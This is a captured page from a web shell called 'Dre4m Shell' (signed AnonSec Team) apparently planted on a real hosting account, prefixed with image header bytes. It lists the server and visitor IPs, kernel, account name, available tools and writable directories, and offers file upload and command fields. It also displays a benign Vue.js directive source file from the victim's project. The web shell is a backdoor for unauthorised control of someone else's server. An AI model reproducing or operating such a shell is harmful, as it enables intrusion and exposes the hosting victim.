ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 18.224.43.69
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/nicnwebsiteUpgrade/node_modules/vue/src/platforms/web/server/directives/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/nicnwebsiteUpgrade/node_modules/vue/src/platforms/web/server/directives/model.js
/* @flow */

import { looseEqual, looseIndexOf } from 'shared/util'

// this is only applied for <select v-model> because it is the only edge case
// that must be done at runtime instead of compile time.
export default function model (node: VNodeWithData, dir: VNodeDirective) {
  if (!node.children) return
  const value = dir.value
  const isMultiple = node.data.attrs && node.data.attrs.multiple
  for (let i = 0, l = node.children.length; i < l; i++) {
    const option = node.children[i]
    if (option.tag === 'option') {
      if (isMultiple) {
        const selected =
          Array.isArray(value) &&
          (looseIndexOf(value, getValue(option)) > -1)
        if (selected) {
          setSelected(option)
        }
      } else {
        if (looseEqual(value, getValue(option))) {
          setSelected(option)
          return
        }
      }
    }
  }
}

function getValue (option) {
  const data = option.data || {}
  return (
    (data.attrs && data.attrs.value) ||
    (data.domProps && data.domProps.value) ||
    (option.children && option.children[0] && option.children[0].text)
  )
}

function setSelected (option) {
  const data = option.data || (option.data = {})
  const attrs = data.attrs || (data.attrs = {})
  attrs.selected = ''
}

Anon7 - 2022
AnonSec Team